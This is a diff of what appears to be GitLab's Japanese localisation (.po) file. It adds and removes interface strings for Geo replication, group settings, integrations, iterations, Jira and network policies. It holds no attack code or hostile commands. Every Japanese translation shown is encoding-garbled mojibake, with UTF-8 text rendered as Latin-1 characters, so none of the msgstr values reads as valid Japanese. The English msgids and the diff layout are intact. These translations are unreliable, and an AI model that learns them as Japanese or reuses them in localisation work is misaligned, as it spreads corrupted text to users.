-msgstr "レプリケーションを一時åœæ­¢ã™ã‚‹ã¨ã€åŒæœŸãƒ—ロセスãŒåœæ­¢ã—ã¾ã™ã€‚本当ã«å®Ÿè¡Œã—ã¾ã™ã‹?"
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr "Geoプライマリノードを削除ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®ãƒŽãƒ¼ãƒ‰ã®åŒæœŸãŒåœæ­¢ã—ã¾ã™ã€‚本当ã«å‰Šé™¤ã—ã¾ã™ã‹?"
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr "Geoセカンダリノードを削除ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®ãƒŽãƒ¼ãƒ‰ã®åŒæœŸãŒåœæ­¢ã—ã¾ã™ã€‚本当ã«å‰Šé™¤ã—ã¾ã™ã‹?"
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "WAL レプリケーションスロット"
-
-msgid "GeoNodes|Replication slots"
-msgstr "レプリケーションスロット"
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "ノードã®çŠ¶æ…‹ã‚’変更中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "ノード読ã¿è¾¼ã¿ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "ノードã®å‰Šé™¤ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "ノードã®ä¿®å¾©ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-
-msgid "GeoNodes|Storage config"
-msgstr "ストレージã®è¨­å®š"
-
-msgid "GeoNodes|Sync settings"
-msgstr "åŒæœŸè¨­å®š"
-
-msgid "GeoNodes|Unused slots"
-msgstr "未使用ã®ã‚¹ãƒ­ãƒƒãƒˆ"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr "使用済ã¿ã®ã‚¹ãƒ­ãƒƒãƒˆ"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr "%{geo} を指定ã™ã‚‹ã¨ã€ç‰¹åˆ¥ãªèª­ã¿å–り専用ã®è¤‡è£½ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã‚’ã©ã“ã«ã§ã‚‚インストールã§ãã¾ã™ã€‚ノードを追加ã™ã‚‹å‰ã«ã€ãれらãŒç¾ã‚Œã‚‹æ­£ç¢ºãªé †åºã§ %{instructions} ã«å¾“ã£ã¦ãã ã•ã„。"
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "安全ã§ãªã„ HTTP 接続を使用ã—㦠Geo ノードを設定ã—ã¾ã—ãŸã€‚HTTPS 通信ã®ä½¿ç”¨ã‚’推奨ã—ã¾ã™ã€‚"
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "失敗"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14710,9 +14362,6 @@ msgstr "åŒæœŸã®ãƒšãƒ³ãƒ‡ã‚£ãƒ³ã‚°"
msgid "Geo|Pending verification"
msgstr "確èªã‚’ä¿ç•™ä¸­"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr "Geo ã®ãƒˆãƒ©ãƒ–ルシューティングをå‚ç…§ã—ã¦ãã ã•ã„。"
-
msgid "Geo|Primary node"
msgstr ""
@@ -14785,6 +14434,12 @@ msgstr "å†åŒæœŸ"
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "リトライ回数"
@@ -14794,6 +14449,9 @@ msgstr "å†æ¤œè¨¼"
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "åŒæœŸã«å¤±æ•—ã—ã¾ã—㟠- %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15388,9 +15052,6 @@ msgstr "ã‚ãªãŸã®ã‚¹ãƒ‹ãƒšãƒƒãƒˆã¸ç§»å‹•"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr "Google Cloud Platform"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "Google èªè¨¼ãŒ %{link_start} é©åˆ‡ã«è¨­å®šã•ã‚Œã¦ã„ã¾ã›ã‚“。%{link_end} ã“ã®ã‚µãƒ¼ãƒ“スを使用ã™ã‚‹ãªã‚‰ GitLab ã®ç®¡ç†è€…ã«å°‹ã­ã¦ãã ã•ã„。"
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr "グラフ"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15457,9 +15127,6 @@ msgstr "グループ %{group_name} ã¯å‰Šé™¤äºˆå®šã—ã¾ã—ãŸã€‚"
msgid "Group %{group_name} was successfully created."
msgstr "'%{group_name}' グループã¯æ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr "グループ Git LFS ã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹:"
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "グループアãƒã‚¿ãƒ¼"
@@ -15559,14 +15229,11 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "グループã®æ¦‚è¦"
-
msgid "Group overview content"
msgstr "グループ概è¦ã‚³ãƒ³ãƒ†ãƒ³ãƒ„"
-msgid "Group path is already taken. Suggestions: "
-msgstr "ãã®ã‚°ãƒ«ãƒ¼ãƒ—パスã¯æ—¢ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚ã“ã¡ã‚‰ã‚’æ案ã—ã¾ã™ã€‚: "
+msgid "Group path is already taken. We've suggested one that is available."
+msgstr ""
msgid "Group path is available."
msgstr "ãã®ã‚°ãƒ«ãƒ¼ãƒ—パスã¯åˆ©ç”¨å¯èƒ½ã§ã™ã€‚"
@@ -15601,9 +15268,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr "グループã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸã€‚"
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr "グループ:%{group_name}"
@@ -15916,18 +15580,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "%{group} 内ã®ãƒ—ロジェクトを他ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¨å…±æœ‰ã—ãªã„よã†ã«ã™ã‚‹"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr "ã“ã®è¨­å®šã¯ %{ancestor_group} ã«é©ç”¨ã•ã‚Œã¾ã™ã€‚ã“ã®ã‚°ãƒ«ãƒ
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "ã“ã®è¨­å®šã¯ %{ancestor_group} ã«é©ç”¨ã•ã‚Œã¾ã™ã€‚設定を上書ãã€ã¾ãŸã¯ %{remove_ancestor_share_with_group_lock} ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "ã“ã®è¨­å®šã¯ã‚°ãƒ«ãƒ¼ãƒ—オーナーã«ã‚ˆã£ã¦ä¸Šæ›¸ãã•ã‚Œãªã„é™ã‚Šã€ã™ã¹ã¦ã®ã‚µãƒ–グループã«é©ç”¨ã•ã‚Œã¾ã™ã€‚プロジェクトã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãŒæ—¢ã«ã‚るグループã¯ã€æ‰‹å‹•ã§å‰Šé™¤ã—ãªã„é™ã‚Šå¼•ã続ãアクセスã§ãã¾ã™ã€‚"
@@ -15991,15 +15655,15 @@ msgstr "グループã«NPMパッケージをå«ã‚€ãƒ—ロジェクトãŒå«ã¾ã‚Œ
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "グループã®ãƒ­ãƒƒã‚¯ã‚’ %{ancestor_group_name} ã®å…±æœ‰ã‹ã‚‰å‰Šé™¤"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "グループ"
msgid "Groups (%{count})"
msgstr "グループ (%{count})"
-msgid "Groups (%{groups})"
-msgstr ""
-
msgid "Groups and projects"
msgstr ""
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16295,6 +15962,9 @@ msgstr "ペイロードを隠ã™"
msgid "Hide shared projects"
msgstr "共有プロジェクトをéžè¡¨ç¤ºã«"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "éžè¡¨ç¤º"
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "仕組ã¿"
@@ -16527,6 +16194,9 @@ msgstr "有効ã«è¨­å®šã—ãŸå ´åˆã€å¤–部サービスã‹ã‚‰ãƒ—ロジェクト
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16703,9 +16373,6 @@ msgstr ""
msgid "Import project members"
msgstr "プロジェクトメンãƒãƒ¼ã‚’インãƒãƒ¼ãƒˆ"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "Bitbucket ã‹ã‚‰ãƒ—ロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr "インシデント管ç†åˆ¶é™"
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "候補を挿入ã™ã‚‹"
@@ -17526,9 +17211,6 @@ msgstr "プロジェクト㌠insights.yml ファイル内ã§é™¤å¤–ã•ã‚Œã„ã‚‹ã
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "ã“ã®ãƒ—ロジェクトã¯insights.ymlファイルã§é™¤å¤–ã•ã‚Œã¾ã™ï¼ˆè©³ç´°ã«ã¤ã„ã¦ã¯ã€projects.only設定をå‚ç…§ã—ã¦ãã ã•ã„)。"
-msgid "Install"
-msgstr "インストール"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr "クラスタ上ã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã™ã‚‹"
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr "インストール済ã¿"
-
-msgid "Installing"
-msgstr "インストール中"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "インスタンス"
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr "インスタンス管ç†è€…グループã¯æ—¢ã«å­˜åœ¨ã—ã¾ã™"
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr "入力ãŒç„¡åŠ¹ã§ã™ã€‚絵文字をå«ã‚ãªã„ã§ãã ã•ã„"
msgid "Invalid login or password"
msgstr "ログインIDã¾ãŸã¯ãƒ‘スワードãŒç„¡åŠ¹ã§ã™ã€‚"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "PIN コードãŒé–“é•ã£ã¦ã„ã¾ã™ã€‚"
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr "イテレーションを更新ã—ã¾ã—ãŸ"
msgid "Iterations"
msgstr "イテレーション"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} イベントã¯ç„¡åŠ¹ã§ã™ã€‚"
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "ジョブãŒæ¶ˆåŽ»ã•ã‚Œã¾ã—ãŸ"
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr "ジョブãŒå†è©¦è¡Œã•ã‚Œã¾ã—ãŸ"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "ジョブ"
@@ -18856,9 +18550,6 @@ msgstr "ソースブランãƒ:"
msgid "Join Zoom meeting"
msgstr "Zoom ミーティングã«å‚加ã™ã‚‹"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr "LFS オブジェクト"
@@ -19250,9 +18938,6 @@ msgstr "%{link_start} ビルトインã®ãƒ†ãƒ³ãƒ—レートã«è²¢çŒ® %{link_end}ã
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "GitLabã§ã®%{no_packages_link_start}パッケージã®å…±æœ‰ã¨å…¬é–‹%{no_packages_link_end}ã«ã¤ã„ã¦"
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr "詳細"
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr "ã™ã¹ã¦ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’表示"
msgid "Made this issue confidential."
msgstr "ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’éžå…¬é–‹ã«ã—ã¾ã—ãŸã€‚"
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr "ã“ã‚Œã¯å¿…ãšä¿å­˜ã—ã¦ãã ã•ã„。二度ã¨ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾
msgid "Makes this issue confidential."
msgstr "イシューをéžå…¬é–‹ã«ã™ã‚‹ã€‚"
-msgid "Manage"
-msgstr "管ç†"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr "最大アクセスレベル"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr "最大é…延時間(分)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr "最大ジョブタイムアウトã«ã¯å—ã‘入れられãªã„値ãŒæŒ‡
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr "パーソナルアクセストークンã®æœ€é•·æœ‰åŠ¹æœŸé–“設定ãŒæœ‰åŠ¹ã§ã™ã€‚有効期é™ã¯ %{maximum_allowable_date} よりå‰ã«è¨­å®šã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr "測定ã—ãŸã‚³ãƒ¼ãƒ‰ã®ãƒã‚¤ãƒˆæ•°ã€‚自動生æˆã‚³ãƒ¼ãƒ‰ã¨ãƒ™ãƒ³ãƒ€ãƒ¼ã‚³ãƒ¼ãƒ‰ã‚’除外ã—ã¾ã™ã€‚"
-msgid "Median"
-msgstr "中央値"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr "例:リクエスト毎秒"
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr "グループマイルストーン"
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "マイルストーン %{milestoneTitle} ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
-msgid "Milestones|No milestones found"
-msgstr "マイルストーンãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr "進行中ã®ã‚¤ã‚·ãƒ¥ãƒ¼(オープンã‹ã¤å‰²ã‚Šå½“ã¦æ¸ˆã¿)"
@@ -21494,9 +21188,6 @@ msgstr "複数ã®ãƒ¢ãƒ‡ãƒ«ã‚¿ã‚¤ãƒ—ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "複数ã®ã‚¢ãƒƒãƒ—ローダーãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ: %{uploader_types}"
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
